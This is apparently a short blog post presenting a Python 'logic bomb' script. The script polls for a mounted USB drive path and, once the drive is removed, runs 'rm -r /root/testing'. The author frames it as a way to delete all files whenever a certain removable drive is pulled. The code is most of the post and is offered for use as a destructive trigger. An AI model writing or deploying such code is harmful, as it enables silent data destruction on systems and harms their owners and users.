Logic bomb

This will continuously check for the directory location of "/media/root/GSP1RMCPRXFRER_EN_DVD" which is my pen connected.
when it detects the pen has been removed it will delete the file "/root/testing"
until then it will prints "pen is connected"
this can be use to make a simple logic bomb.
Which will delete all files if a certain removable media is removed.

import os


done = False
while not done:
path = os.path.exists("/media/root/GSP1RMCPRXFRER_EN_DVD")
if path:
print("pen is connected")
else:
print("pen disconnected... deleting the file")
os.system("rm -r /root/testing")
done = True



Comments

Popular Posts